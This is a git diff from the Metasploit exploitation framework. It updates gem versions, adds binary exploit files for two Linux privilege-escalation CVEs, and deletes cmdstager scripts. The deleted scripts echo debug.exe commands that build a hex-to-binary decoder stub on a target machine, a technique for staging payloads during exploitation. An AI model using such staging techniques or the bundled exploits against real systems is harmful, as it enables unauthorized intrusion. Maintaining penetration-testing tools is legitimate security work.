diff --git a/Gemfile.lock b/Gemfile.lock
index 9d7064a29f..d79a8ca954 100644
--- a/Gemfile.lock
+++ b/Gemfile.lock
@@ -1,7 +1,7 @@
PATH
remote: .
specs:
- metasploit-framework (4.12.33)
+ metasploit-framework (4.12.41)
actionpack (~> 4.2.6)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
@@ -14,7 +14,7 @@ PATH
metasploit-concern
metasploit-credential
metasploit-model
- metasploit-payloads (= 1.1.21)
+ metasploit-payloads (= 1.1.26)
metasploit_data_models
metasploit_payloads-mettle (= 0.0.8)
msgpack
@@ -37,6 +37,7 @@ PATH
rex-bin_tools
rex-core
rex-encoder
+ rex-exploitation
rex-java
rex-mime
rex-nop
@@ -102,7 +103,7 @@ GEM
bcrypt (3.1.11)
bit-struct (0.15.0)
builder (3.2.2)
- capybara (2.9.2)
+ capybara (2.10.1)
addressable
mime-types (>= 1.16)
nokogiri (>= 1.3.3)
@@ -167,8 +168,8 @@ GEM
activemodel (~> 4.2.6)
activesupport (~> 4.2.6)
railties (~> 4.2.6)
- metasploit-payloads (1.1.21)
- metasploit_data_models (2.0.4)
+ metasploit-payloads (1.1.26)
+ metasploit_data_models (2.0.5)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
arel-helpers
@@ -185,16 +186,15 @@ GEM
mime-types-data (3.2016.0521)
mini_portile2 (2.1.0)
minitest (5.9.1)
- msgpack (1.0.0)
+ msgpack (1.0.2)
multi_json (1.12.1)
multi_test (0.1.2)
multipart-post (2.0.0)
nessus_rest (0.1.6)
net-ssh (3.2.0)
network_interface (0.0.1)
- nokogiri (1.6.8)
+ nokogiri (1.6.8.1)
mini_portile2 (~> 2.1.0)
- pkg-config (~> 1.1.7)
octokit (4.3.0)
sawyer (~> 0.7.0, >= 0.5.3)
openssl-ccm (1.2.1)
@@ -206,7 +206,6 @@ GEM
pcaprub (0.12.4)
pg (0.19.0)
pg_array_parser (0.0.9)
- pkg-config (1.1.7)
postgres_ext (3.0.0)
activerecord (>= 4.0.0)
arel (>= 4.0.1)
@@ -249,6 +248,12 @@ GEM
metasm
rex-arch
rex-text
+ rex-exploitation (0.1.1)
+ jsobfu
+ metasm
+ rex-arch
+ rex-encoder
+ rex-text
rex-java (0.1.2)
rex-mime (0.1.1)
rex-text
@@ -272,7 +277,7 @@ GEM
rex-socket
rex-text
rex-struct2 (0.1.0)
- rex-text (0.2.1)
+ rex-text (0.2.4)
rex-zip (0.1.0)
rex-text
rkelly-remix (0.0.6)
@@ -314,7 +319,7 @@ GEM
timecop (0.8.1)
tzinfo (1.2.2)
thread_safe (~> 0.1)
- tzinfo-data (1.2016.7)
+ tzinfo-data (1.2016.8)
tzinfo (>= 1.0.0)
windows_error (0.0.2)
xpath (2.0.0)
@@ -341,4 +346,4 @@ DEPENDENCIES
yard
BUNDLED WITH
- 1.13.2
+ 1.13.6
diff --git a/data/exploits/CVE-2015-1328/1328 b/data/exploits/CVE-2015-1328/1328
new file mode 100644
index 0000000000..dcb7ed42b1
Binary files /dev/null and b/data/exploits/CVE-2015-1328/1328 differ
diff --git a/data/exploits/CVE-2015-1328/ofs-lib.so b/data/exploits/CVE-2015-1328/ofs-lib.so
new file mode 100644
index 0000000000..70755e998b
Binary files /dev/null and b/data/exploits/CVE-2015-1328/ofs-lib.so differ
diff --git a/data/exploits/CVE-2015-8660/8660 b/data/exploits/CVE-2015-8660/8660
new file mode 100644
index 0000000000..532d81071c
Binary files /dev/null and b/data/exploits/CVE-2015-8660/8660 differ
diff --git a/data/exploits/cmdstager/debug_asm b/data/exploits/cmdstager/debug_asm
deleted file mode 100755
index a47ff9166a..0000000000
--- a/data/exploits/cmdstager/debug_asm
+++ /dev/null
@@ -1,91 +0,0 @@
-echo a 0100 >>decoder_stub
-echo jmp 197 >>decoder_stub
-echo mov bx,[1bd] >>decoder_stub
-echo call 131 >>decoder_stub
-echo mov bx,[1cc] >>decoder_stub
-echo call 131 >>decoder_stub
-echo mov ax,4c00 >>decoder_stub
-echo int 21 >>decoder_stub
-echo mov ah,3d >>decoder_stub
-echo mov al,00 >>decoder_stub
-echo mov dx,1bf >>decoder_stub
-echo int 21 >>decoder_stub
-echo mov [1bd],ax >>decoder_stub
-echo ret >>decoder_stub
-echo mov ah,3c >>decoder_stub
-echo mov cx,2 >>decoder_stub
-echo mov dx,1ce >>decoder_stub
-echo int 21 >>decoder_stub
-echo mov [1cc],ax >>decoder_stub
-echo ret >>decoder_stub
-echo mov ax,3e00 >>decoder_stub
-echo int 21 >>decoder_stub
-echo ret >>decoder_stub
-echo mov bx,[1bd] >>decoder_stub
-echo mov ax,3f00 >>decoder_stub
-echo mov cx,100 >>decoder_stub
-echo mov dx,0200 >>decoder_stub
-echo int 21 >>decoder_stub
-echo cmp ax,2 >>decoder_stub
-echo ja 151 >>decoder_stub
-echo call 178 >>decoder_stub
-echo call 103 >>decoder_stub
-echo ret >>decoder_stub
-echo mov ah,0 >>decoder_stub
-echo or al,20 >>decoder_stub
-echo sub al,30 >>decoder_stub
-echo cmp al,9 >>decoder_stub
-echo jbe 164 >>decoder_stub
-echo sub al,31 >>decoder_stub
-echo cmp al,5 >>decoder_stub
-echo ja 165 >>decoder_stub
-echo add al,a >>decoder_stub
-echo ret >>decoder_stub
-echo mov ah,ff >>decoder_stub
-echo ret >>decoder_stub
-echo cmp bp,0 >>decoder_stub
-echo jne 175 >>decoder_stub
-echo call 137 >>decoder_stub
-echo mov bp,ax >>decoder_stub
-echo mov si,200 >>decoder_stub
-echo lodsb >>decoder_stub
-echo dec bp >>decoder_stub
-echo ret >>decoder_stub
-echo mov cx,di >>decoder_stub
-echo sub cx,300 >>decoder_stub
-echo mov bx,[1cc] >>decoder_stub
-echo mov ax,4000 >>decoder_stub
-echo mov dx,0300 >>decoder_stub
-echo int 21 >>decoder_stub
-echo ret >>decoder_stub
-echo call 168 >>decoder_stub
-echo call 152 >>decoder_stub
-echo cmp ah,0 >>decoder_stub
-echo jne 18b >>decoder_stub
-echo ret >>decoder_stub
-echo call 116 >>decoder_stub
-echo call 123 >>decoder_stub
-echo mov bp,0 >>decoder_stub
-echo mov di,300 >>decoder_stub
-echo call 18b >>decoder_stub
-echo mov cx,1000 >>decoder_stub
-echo mul cx >>decoder_stub
-echo push ax >>decoder_stub
-echo call 18b >>decoder_stub
-echo pop dx >>decoder_stub
-echo or al,dh >>decoder_stub
-echo stosb >>decoder_stub
-echo cmp bp, 0 >>decoder_stub
-echo jne 1a3 >>decoder_stub
-echo call 178 >>decoder_stub
-echo jmp 1a0 >>decoder_stub
-echo db 00,00 >>decoder_stub
-echo db "testfile.dat",00 >>decoder_stub
-echo db 00,00 >>decoder_stub
-echo db "testfile.out",00 >>decoder_stub
-echo >>decoder_stub
-echo r cx >>decoder_stub
-echo 0400 >>decoder_stub
-echo n h2b.com >>decoder_stub
-echo w >>decoder_stub
-echo q >>decoder_stub
diff --git a/data/exploits/cmdstager/debug_write b/data/exploits/cmdstager/debug_write
deleted file mode 100755
index 3c5898950c..0000000000
--- a/data/exploits/cmdstager/debug_write
+++ /dev/null
@@ -1,819 +0,0 @@
-echo n decoder_stub.bin > decoder_stub
-echo r cx >>decoder_stub
-echo 1400 >>decoder_stub
-echo f 0100 ffff 00 >>decoder_stub
-echo e 100 4d 5a 90 >>decoder_stub
-echo e 104 03 >>decoder_stub
-echo e 108 04 >>decoder_stub
-echo e 10c ff ff >>decoder_stub
-echo e 110 b8 >>decoder_stub
-echo e 118 40 >>decoder_stub
-echo e 13c 80 >>decoder_stub
-echo e 140 0e 1f ba 0e >>decoder_stub
-echo e 145 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 >>decoder_stub
-echo e 159 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 >>decoder_stub
-echo e 16d 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 >>decoder_stub
-echo e 180 50 45 >>decoder_stub
-echo e 184 4c 01 03 >>decoder_stub
-echo e 188 85 18 7c 48 >>decoder_stub
-echo e 194 e0 >>decoder_stub
-echo e 196 0e 01 0b 01 08 >>decoder_stub
-echo e 19d 0a >>decoder_stub
-echo e 1a1 08 >>decoder_stub
-echo e 1a8 be 28 >>decoder_stub
-echo e 1ad 20 >>decoder_stub
-echo e 1b1 40 >>decoder_stub
-echo e 1b6 40 >>decoder_stub
-echo e 1b9 20 >>decoder_stub
-echo e 1bd 02 >>decoder_stub
-echo e 1c0 04 >>decoder_stub
-echo e 1c8 04 >>decoder_stub
-echo e 1d1 80 >>decoder_stub
-echo e 1d5 02 >>decoder_stub
-echo e 1dc 03 >>decoder_stub
-echo e 1de 40 05 >>decoder_stub
-echo e 1e2 10 >>decoder_stub
-echo e 1e5 10 >>decoder_stub
-echo e 1ea 10 >>decoder_stub
-echo e 1ed 10 >>decoder_stub
-echo e 1f4 10 >>decoder_stub
-echo e 200 6c 28 >>decoder_stub
-echo e 204 4f >>decoder_stub
-echo e 209 40 >>decoder_stub
-echo e 20c 30 05 >>decoder_stub
-echo e 221 60 >>decoder_stub
-echo e 224 0c >>decoder_stub
-echo e 228 fc 27 >>decoder_stub
-echo e 22c 1c >>decoder_stub
-echo e 259 20 >>decoder_stub
-echo e 25c 08 >>decoder_stub
-echo e 268 08 20 >>decoder_stub
-echo e 26c 48 >>decoder_stub
-echo e 278 2e 74 65 78 74 >>decoder_stub
-echo e 280 c4 08 >>decoder_stub
-echo e 285 20 >>decoder_stub
-echo e 289 0a >>decoder_stub
-echo e 28d 02 >>decoder_stub
-echo e 29c 20 >>decoder_stub
-echo e 29f 60 2e 72 73 72 63 >>decoder_stub
-echo e 2a8 30 05 >>decoder_stub
-echo e 2ad 40 >>decoder_stub
-echo e 2b1 06 >>decoder_stub
-echo e 2b5 0c >>decoder_stub
-echo e 2c4 40 >>decoder_stub
-echo e 2c7 40 2e 72 65 6c 6f 63 >>decoder_stub
-echo e 2d0 0c >>decoder_stub
-echo e 2d5 60 >>decoder_stub
-echo e 2d9 02 >>decoder_stub
-echo e 2dd 12 >>decoder_stub
-echo e 2ec 40 >>decoder_stub
-echo e 2ef 42 >>decoder_stub
-echo e 300 a0 28 >>decoder_stub
-echo e 308 48 >>decoder_stub
-echo e 30c 02 >>decoder_stub
-echo e 30e 05 >>decoder_stub
-echo e 310 24 21 >>decoder_stub
-echo e 314 d8 06 >>decoder_stub
-echo e 318 01 >>decoder_stub
-echo e 31c 01 >>decoder_stub
-echo e 31f 06 >>decoder_stub
-echo e 350 13 30 04 >>decoder_stub
-echo e 354 be >>decoder_stub
-echo e 358 01 >>decoder_stub
-echo e 35b 11 >>decoder_stub
-echo e 35d 02 8e 69 17 fe 01 13 06 11 06 2d 12 >>decoder_stub
-echo e 36a 72 01 >>decoder_stub
-echo e 36e 70 28 10 >>decoder_stub
-echo e 373 0a >>decoder_stub
-echo e 376 38 9e >>decoder_stub
-echo e 37c 02 16 9a 28 11 >>decoder_stub
-echo e 383 0a 72 4b >>decoder_stub
-echo e 388 70 72 4f >>decoder_stub
-echo e 38d 70 6f 12 >>decoder_stub
-echo e 392 0a 72 51 >>decoder_stub
-echo e 397 70 72 4f >>decoder_stub
-echo e 39c 70 6f 12 >>decoder_stub
-echo e 3a1 0a 0a 06 6f 13 >>decoder_stub
-echo e 3a8 0a 18 5b 8d 15 >>decoder_stub
-echo e 3af 01 0b 16 0c 72 4f >>decoder_stub
-echo e 3b7 70 0d 16 13 04 2b 21 >>decoder_stub
-echo e 3bf 06 11 04 18 6f 14 >>decoder_stub
-echo e 3c7 0a 0d 07 08 09 1f 10 28 15 >>decoder_stub
-echo e 3d2 0a 9c 08 17 58 0c >>decoder_stub
-echo e 3d9 11 04 18 58 13 04 11 04 06 6f 13 >>decoder_stub
-echo e 3e6 0a fe 04 13 06 11 06 2d cf 02 16 9a 72 55 >>decoder_stub
-echo e 3f6 70 28 16 >>decoder_stub
-echo e 3fb 0a 28 17 >>decoder_stub
-echo e 400 0a 13 05 11 05 07 16 07 8e 69 6f 18 >>decoder_stub
-echo e 40e 0a >>decoder_stub
-echo e 410 11 05 6f 19 >>decoder_stub
-echo e 416 0a >>decoder_stub
-echo e 419 2a 1e 02 28 1a >>decoder_stub
-echo e 420 0a 2a >>decoder_stub
-echo e 424 42 53 4a 42 01 >>decoder_stub
-echo e 42a 01 >>decoder_stub
-echo e 430 0c >>decoder_stub
-echo e 434 76 32 2e 30 2e 35 30 37 32 37 >>decoder_stub
-echo e 442 05 >>decoder_stub
-echo e 444 6c >>decoder_stub
-echo e 448 30 02 >>decoder_stub
-echo e 44c 23 7e >>decoder_stub
-echo e 450 9c 02 >>decoder_stub
-echo e 454 d0 02 >>decoder_stub
-echo e 458 23 53 74 72 69 6e 67 73 >>decoder_stub
-echo e 464 6c 05 >>decoder_stub
-echo e 468 60 >>decoder_stub
-echo e 46c 23 55 53 >>decoder_stub
-echo e 470 cc 05 >>decoder_stub
-echo e 474 10 >>decoder_stub
-echo e 478 23 47 55 49 44 >>decoder_stub
-echo e 480 dc 05 >>decoder_stub
-echo e 484 fc >>decoder_stub
-echo e 488 23 42 6c 6f 62 >>decoder_stub
-echo e 494 02 >>decoder_stub
-echo e 497 01 47 15 02 >>decoder_stub
-echo e 49c 09 >>decoder_stub
-echo e 4a1 fa 01 33 >>decoder_stub
-echo e 4a5 16 >>decoder_stub
-echo e 4a8 01 >>decoder_stub
-echo e 4ac 18 >>decoder_stub
-echo e 4b0 02 >>decoder_stub
-echo e 4b4 02 >>decoder_stub
-echo e 4b8 01 >>decoder_stub
-echo e 4bc 1a >>decoder_stub
-echo e 4c0 0d >>decoder_stub
-echo e 4c4 01 >>decoder_stub
-echo e 4c8 01 >>decoder_stub
-echo e 4cc 01 >>decoder_stub
-echo e 4d2 0a >>decoder_stub
-echo e 4d4 01 >>decoder_stub
-echo e 4da 06 >>decoder_stub
-echo e 4dc 36 >>decoder_stub
-echo e 4de 2f >>decoder_stub
-echo e 4e0 06 >>decoder_stub
-echo e 4e2 5f >>decoder_stub
-echo e 4e4 4d >>decoder_stub
-echo e 4e6 06 >>decoder_stub
-echo e 4e8 76 >>decoder_stub
-echo e 4ea 4d >>decoder_stub
-echo e 4ec 06 >>decoder_stub
-echo e 4ee 93 >>decoder_stub
-echo e 4f0 4d >>decoder_stub
-echo e 4f2 06 >>decoder_stub
-echo e 4f4 b2 >>decoder_stub
-echo e 4f6 4d >>decoder_stub
-echo e 4f8 06 >>decoder_stub
-echo e 4fa cb >>decoder_stub
-echo e 4fc 4d >>decoder_stub
-echo e 4fe 06 >>decoder_stub
-echo e 500 e4 >>decoder_stub
-echo e 502 4d >>decoder_stub
-echo e 504 06 >>decoder_stub
-echo e 506 ff >>decoder_stub
-echo e 508 4d >>decoder_stub
-echo e 50a 06 >>decoder_stub
-echo e 50c 1a 01 4d >>decoder_stub
-echo e 510 06 >>decoder_stub
-echo e 512 52 01 33 01 06 >>decoder_stub
-echo e 518 66 01 33 01 06 >>decoder_stub
-echo e 51e 74 01 4d >>decoder_stub
-echo e 522 06 >>decoder_stub
-echo e 524 8d 01 4d >>decoder_stub
-echo e 528 06 >>decoder_stub
-echo e 52a bd 01 aa 01 3b >>decoder_stub
-echo e 530 d1 01 >>decoder_stub
-echo e 534 06 >>decoder_stub
-echo e 537 02 e0 01 06 >>decoder_stub
-echo e 53c 20 02 e0 01 06 >>decoder_stub
-echo e 542 3e 02 2f >>decoder_stub
-echo e 546 06 >>decoder_stub
-echo e 548 5a 02 50 02 06 >>decoder_stub
-echo e 54e 6b 02 2f >>decoder_stub
-echo e 552 06 >>decoder_stub
-echo e 554 85 02 2f >>decoder_stub
-echo e 558 06 >>decoder_stub
-echo e 55a 94 02 2f >>decoder_stub
-echo e 55e 06 >>decoder_stub
-echo e 560 aa 02 50 02 06 >>decoder_stub
-echo e 566 bc 02 50 02 >>decoder_stub
-echo e 56e 01 >>decoder_stub
-echo e 574 01 >>decoder_stub
-echo e 576 01 >>decoder_stub
-echo e 57a 10 >>decoder_stub
-echo e 57c 16 >>decoder_stub
-echo e 57e 1e >>decoder_stub
-echo e 580 05 >>decoder_stub
-echo e 582 01 >>decoder_stub
-echo e 584 01 >>decoder_stub
-echo e 586 50 20 >>decoder_stub
-echo e 58c 91 >>decoder_stub
-echo e 58e 3d >>decoder_stub
-echo e 590 0a >>decoder_stub
-echo e 592 01 >>decoder_stub
-echo e 594 1a 21 >>decoder_stub
-echo e 59a 86 18 42 >>decoder_stub
-echo e 59e 10 >>decoder_stub
-echo e 5a0 02 >>decoder_stub
-echo e 5a4 01 >>decoder_stub
-echo e 5a6 48 >>decoder_stub
-echo e 5a8 11 >>decoder_stub
-echo e 5aa 42 >>decoder_stub
-echo e 5ac 14 >>decoder_stub
-echo e 5ae 19 >>decoder_stub
-echo e 5b0 42 >>decoder_stub
-echo e 5b2 14 >>decoder_stub
-echo e 5b4 21 >>decoder_stub
-echo e 5b6 42 >>decoder_stub
-echo e 5b8 14 >>decoder_stub
-echo e 5ba 29 >>decoder_stub
-echo e 5bc 42 >>decoder_stub
-echo e 5be 14 >>decoder_stub
-echo e 5c0 31 >>decoder_stub
-echo e 5c2 42 >>decoder_stub
-echo e 5c4 14 >>decoder_stub
-echo e 5c6 39 >>decoder_stub
-echo e 5c8 42 >>decoder_stub
-echo e 5ca 14 >>decoder_stub
-echo e 5cc 41 >>decoder_stub
-echo e 5ce 42 >>decoder_stub
-echo e 5d0 14 >>decoder_stub
-echo e 5d2 49 >>decoder_stub
-echo e 5d4 42 >>decoder_stub
-echo e 5d6 14 >>decoder_stub
-echo e 5d8 51 >>decoder_stub
-echo e 5da 42 >>decoder_stub
-echo e 5dc 19 >>decoder_stub
-echo e 5de 59 >>decoder_stub
-echo e 5e0 42 >>decoder_stub
-echo e 5e2 14 >>decoder_stub
-echo e 5e4 61 >>decoder_stub
-echo e 5e6 42 >>decoder_stub
-echo e 5e8 14 >>decoder_stub
-echo e 5ea 69 >>decoder_stub
-echo e 5ec 42 >>decoder_stub
-echo e 5ee 14 >>decoder_stub
-echo e 5f0 71 >>decoder_stub
-echo e 5f2 42 >>decoder_stub
-echo e 5f4 1e >>decoder_stub
-echo e 5f6 81 >>decoder_stub
-echo e 5f8 42 >>decoder_stub
-echo e 5fa 24 >>decoder_stub
-echo e 5fc 89 >>decoder_stub
-echo e 5fe 42 >>decoder_stub
-echo e 600 10 >>decoder_stub
-echo e 602 91 >>decoder_stub
-echo e 604 46 02 29 >>decoder_stub
-echo e 608 99 >>decoder_stub
-echo e 60a 5f 02 2e >>decoder_stub
-echo e 60e a1 >>decoder_stub
-echo e 610 72 02 33 >>decoder_stub
-echo e 614 a1 >>decoder_stub
-echo e 616 7a 02 39 >>decoder_stub
-echo e 61a a1 >>decoder_stub
-echo e 61c 8a 02 3d >>decoder_stub
-echo e 620 b1 >>decoder_stub
-echo e 622 9c 02 43 >>decoder_stub
-echo e 626 a1 >>decoder_stub
-echo e 628 a3 02 49 >>decoder_stub
-echo e 62c 99 >>decoder_stub
-echo e 62e b5 02 4f >>decoder_stub
-echo e 632 c1 >>decoder_stub
-echo e 634 c3 02 55 >>decoder_stub
-echo e 638 c1 >>decoder_stub
-echo e 63a c9 02 10 >>decoder_stub
-echo e 63e 09 >>decoder_stub
-echo e 640 42 >>decoder_stub
-echo e 642 10 >>decoder_stub
-echo e 644 2e >>decoder_stub
-echo e 646 0b >>decoder_stub
-echo e 648 69 >>decoder_stub
-echo e 64a 2e >>decoder_stub
-echo e 64c 13 >>decoder_stub
-echo e 64e 76 >>decoder_stub
-echo e 650 2e >>decoder_stub
-echo e 652 1b >>decoder_stub
-echo e 654 76 >>decoder_stub
-echo e 656 2e >>decoder_stub
-echo e 658 23 >>decoder_stub
-echo e 65a 76 >>decoder_stub
-echo e 65c 2e >>decoder_stub
-echo e 65e 2b >>decoder_stub
-echo e 660 69 >>decoder_stub
-echo e 662 2e >>decoder_stub
-echo e 664 33 >>decoder_stub
-echo e 666 7c >>decoder_stub
-echo e 668 2e >>decoder_stub
-echo e 66a 3b >>decoder_stub
-echo e 66c 76 >>decoder_stub
-echo e 66e 2e >>decoder_stub
-echo e 670 4b >>decoder_stub
-echo e 672 76 >>decoder_stub
-echo e 674 2e >>decoder_stub
-echo e 676 53 >>decoder_stub
-echo e 678 94 >>decoder_stub
-echo e 67a 2e >>decoder_stub
-echo e 67c 63 >>decoder_stub
-echo e 67e be >>decoder_stub
-echo e 680 2e >>decoder_stub
-echo e 682 6b >>decoder_stub
-echo e 684 cb >>decoder_stub
-echo e 686 2e >>decoder_stub
-echo e 688 73 >>decoder_stub
-echo e 68a d4 >>decoder_stub
-echo e 68c 2e >>decoder_stub
-echo e 68e 7b >>decoder_stub
-echo e 690 dd >>decoder_stub
-echo e 692 5d >>decoder_stub
-echo e 694 04 80 >>decoder_stub
-echo e 698 01 >>decoder_stub
-echo e 6a6 1e >>decoder_stub
-echo e 6aa 02 >>decoder_stub
-echo e 6b6 01 >>decoder_stub
-echo e 6b8 26 >>decoder_stub
-echo e 6c1 3c 4d 6f 64 75 6c 65 3e >>decoder_stub
-echo e 6ca 68 65 78 32 62 69 6e 2e 65 78 65 >>decoder_stub
-echo e 6d6 50 72 6f 67 72 61 6d >>decoder_stub
-echo e 6de 68 65 78 32 62 69 6e >>decoder_stub
-echo e 6e6 6d 73 63 6f 72 6c 69 62 >>decoder_stub
-echo e 6ef 53 79 73 74 65 6d >>decoder_stub
-echo e 6f6 4f 62 6a 65 63 74 >>decoder_stub
-echo e 6fd 4d 61 69 6e >>decoder_stub
-echo e 702 2e 63 74 6f 72 >>decoder_stub
-echo e 708 61 72 67 73 >>decoder_stub
-echo e 70d 53 79 73 74 65 6d 2e 52 65 66 6c 65 63 74 69 6f 6e >>decoder_stub
-echo e 71f 41 73 73 65 6d 62 6c 79 54 69 74 6c 65 41 74 74 72 69 62 75 >>decoder_stub
-echo e 733 74 65 >>decoder_stub
-echo e 736 41 73 73 65 6d 62 6c 79 44 65 73 63 72 69 70 74 69 6f 6e 41 >>decoder_stub
-echo e 74a 74 74 72 69 62 75 74 65 >>decoder_stub
-echo e 753 41 73 73 65 6d 62 6c 79 43 6f 6e 66 69 67 75 72 61 74 69 6f >>decoder_stub
-echo e 767 6e 41 74 74 72 69 62 75 74 65 >>decoder_stub
-echo e 772 41 73 73 65 6d 62 6c 79 43 6f 6d 70 61 6e 79 41 74 74 72 69 >>decoder_stub
-echo e 786 62 75 74 65 >>decoder_stub
-echo e 78b 41 73 73 65 6d 62 6c 79 50 72 6f 64 75 63 74 41 74 74 72 69 >>decoder_stub
-echo e 79f 62 75 74 65 >>decoder_stub
-echo e 7a4 41 73 73 65 6d 62 6c 79 43 6f 70 79 72 69 67 68 74 41 74 74 >>decoder_stub
-echo e 7b8 72 69 62 75 74 65 >>decoder_stub
-echo e 7bf 41 73 73 65 6d 62 6c 79 54 72 61 64 65 6d 61 72 6b 41 74 74 >>decoder_stub
-echo e 7d3 72 69 62 75 74 65 >>decoder_stub
-echo e 7da 41 73 73 65 6d 62 6c 79 43 75 6c 74 75 72 65 41 74 74 72 69 >>decoder_stub
-echo e 7ee 62 75 74 65 >>decoder_stub
-echo e 7f3 53 79 73 74 65 6d 2e 52 75 6e 74 69 6d 65 2e 49 6e 74 65 72 >>decoder_stub
-echo e 807 6f 70 53 65 72 76 69 63 65 73 >>decoder_stub
-echo e 812 43 6f 6d 56 69 73 69 62 6c 65 41 74 74 72 69 62 75 74 65 >>decoder_stub
-echo e 826 47 75 69 64 41 74 74 72 69 62 75 74 65 >>decoder_stub
-echo e 834 41 73 73 65 6d 62 6c 79 56 65 72 73 69 6f 6e 41 74 74 72 69 >>decoder_stub
-echo e 848 62 75 74 65 >>decoder_stub
-echo e 84d 41 73 73 65 6d 62 6c 79 46 69 6c 65 56 65 72 73 69 6f 6e 41 >>decoder_stub
-echo e 861 74 74 72 69 62 75 74 65 >>decoder_stub
-echo e 86a 53 79 73 74 65 6d 2e 44 69 61 67 6e 6f 73 74 69 63 73 >>decoder_stub
-echo e 87d 44 65 62 75 67 67 61 62 6c 65 41 74 74 72 69 62 75 74 65 >>decoder_stub
-echo e 891 44 65 62 75 67 67 69 6e 67 4d 6f 64 65 73 >>decoder_stub
-echo e 8a0 53 79 73 74 65 6d 2e 52 75 6e 74 69 6d 65 2e 43 6f 6d 70 69 >>decoder_stub
-echo e 8b4 6c 65 72 53 65 72 76 69 63 65 73 >>decoder_stub
-echo e 8c0 43 6f 6d 70 69 6c 61 74 69 6f 6e 52 65 6c 61 78 61 74 69 6f >>decoder_stub
-echo e 8d4 6e 73 41 74 74 72 69 62 75 74 65 >>decoder_stub
-echo e 8e0 52 75 6e 74 69 6d 65 43 6f 6d 70 61 74 69 62 69 6c 69 74 79 >>decoder_stub
-echo e 8f4 41 74 74 72 69 62 75 74 65 >>decoder_stub
-echo e 8fe 43 6f 6e 73 6f 6c 65 >>decoder_stub
-echo e 906 57 72 69 74 65 4c 69 6e 65 >>decoder_stub
-echo e 910 53 79 73 74 65 6d 2e 49 4f >>decoder_stub
-echo e 91a 46 69 6c 65 >>decoder_stub
-echo e 91f 52 65 61 64 41 6c 6c 54 65 78 74 >>decoder_stub
-echo e 92b 53 74 72 69 6e 67 >>decoder_stub
-echo e 932 52 65 70 6c 61 63 65 >>decoder_stub
-echo e 93a 67 65 74 5f 4c 65 6e 67 74 68 >>decoder_stub
-echo e 945 42 79 74 65 >>decoder_stub
-echo e 94a 53 75 62 73 74 72 69 6e 67 >>decoder_stub
-echo e 954 43 6f 6e 76 65 72 74 >>decoder_stub
-echo e 95c 54 6f 42 79 74 65 >>decoder_stub
-echo e 963 43 6f 6e 63 61 74 >>decoder_stub
-echo e 96a 46 69 6c 65 53 74 72 65 61 6d >>decoder_stub
-echo e 975 43 72 65 61 74 65 >>decoder_stub
-echo e 97c 53 74 72 65 61 6d >>decoder_stub
-echo e 983 57 72 69 74 65 >>decoder_stub
-echo e 989 43 6c 6f 73 65 >>decoder_stub
-echo e 991 49 55 >>decoder_stub
-echo e 994 73 >>decoder_stub
-echo e 996 61 >>decoder_stub
-echo e 998 67 >>decoder_stub
-echo e 99a 65 >>decoder_stub
-echo e 99c 3a >>decoder_stub
-echo e 99e 20 >>decoder_stub
-echo e 9a0 20 >>decoder_stub
-echo e 9a2 20 >>decoder_stub
-echo e 9a4 68 >>decoder_stub
-echo e 9a6 65 >>decoder_stub
-echo e 9a8 78 >>decoder_stub
-echo e 9aa 32 >>decoder_stub
-echo e 9ac 62 >>decoder_stub
-echo e 9ae 69 >>decoder_stub
-echo e 9b0 6e >>decoder_stub
-echo e 9b2 2e >>decoder_stub
-echo e 9b4 65 >>decoder_stub
-echo e 9b6 78 >>decoder_stub
-echo e 9b8 65 >>decoder_stub
-echo e 9ba 20 >>decoder_stub
-echo e 9bc 3c >>decoder_stub
-echo e 9be 68 >>decoder_stub
-echo e 9c0 65 >>decoder_stub
-echo e 9c2 78 >>decoder_stub
-echo e 9c4 69 >>decoder_stub
-echo e 9c6 6e >>decoder_stub
-echo e 9c8 70 >>decoder_stub
-echo e 9ca 75 >>decoder_stub
-echo e 9cc 74 >>decoder_stub
-echo e 9ce 66 >>decoder_stub
-echo e 9d0 69 >>decoder_stub
-echo e 9d2 6c >>decoder_stub
-echo e 9d4 65 >>decoder_stub
-echo e 9d6 3e >>decoder_stub
-echo e 9d8 08 >>decoder_stub
-echo e 9da 01 03 0d >>decoder_stub
-echo e 9df 01 >>decoder_stub
-echo e 9e1 03 0a >>decoder_stub
-echo e 9e5 09 2e >>decoder_stub
-echo e 9e8 65 >>decoder_stub
-echo e 9ea 78 >>decoder_stub
-echo e 9ec 65 >>decoder_stub
-echo e 9f0 06 24 bb c2 bc b7 11 40 bf c4 9c a7 d7 ed 8c f2 >>decoder_stub
-echo e a01 08 b7 7a 5c 56 19 34 e0 89 05 >>decoder_stub
-echo e a0c 01 01 1d 0e 03 20 >>decoder_stub
-echo e a13 01 04 20 01 01 0e 04 20 01 01 02 05 20 01 01 11 3d 04 20 01 >>decoder_stub
-echo e a27 01 08 04 >>decoder_stub
-echo e a2b 01 01 0e 04 >>decoder_stub
-echo e a30 01 0e 0e 05 20 02 0e 0e 0e 03 20 >>decoder_stub
-echo e a3c 08 05 20 02 0e 08 08 05 >>decoder_stub
-echo e a45 02 05 0e 08 05 >>decoder_stub
-echo e a4b 02 0e 0e 0e 05 >>decoder_stub
-echo e a51 01 12 5d 0e 07 20 03 01 1d 05 08 08 0b 07 07 0e 1d 05 08 0e >>decoder_stub
-echo e a65 08 12 5d 02 0c 01 >>decoder_stub
-echo e a6c 07 68 65 78 32 62 69 6e >>decoder_stub
-echo e a76 05 01 >>decoder_stub
-echo e a7c 17 01 >>decoder_stub
-echo e a7f 12 43 6f 70 79 72 69 67 68 74 20 c2 a9 20 20 32 30 30 38 >>decoder_stub
-echo e a94 29 01 >>decoder_stub
-echo e a97 24 66 39 39 39 62 62 62 31 2d 66 31 30 61 2d 34 39 65 38 2d >>decoder_stub
-echo e aab 38 33 35 37 2d 30 35 39 61 30 63 65 37 37 31 36 38 >>decoder_stub
-echo e abe 0c 01 >>decoder_stub
-echo e ac1 07 31 2e 30 2e 30 2e 30 >>decoder_stub
-echo e acb 08 01 >>decoder_stub
-echo e ace 07 01 >>decoder_stub
-echo e ad4 08 01 >>decoder_stub
-echo e ad7 08 >>decoder_stub
-echo e add 1e 01 >>decoder_stub
-echo e ae0 01 >>decoder_stub
-echo e ae2 54 02 16 57 72 61 70 4e 6f 6e 45 78 63 65 70 74 69 6f 6e 54 >>decoder_stub
-echo e af6 68 72 6f 77 73 01 >>decoder_stub
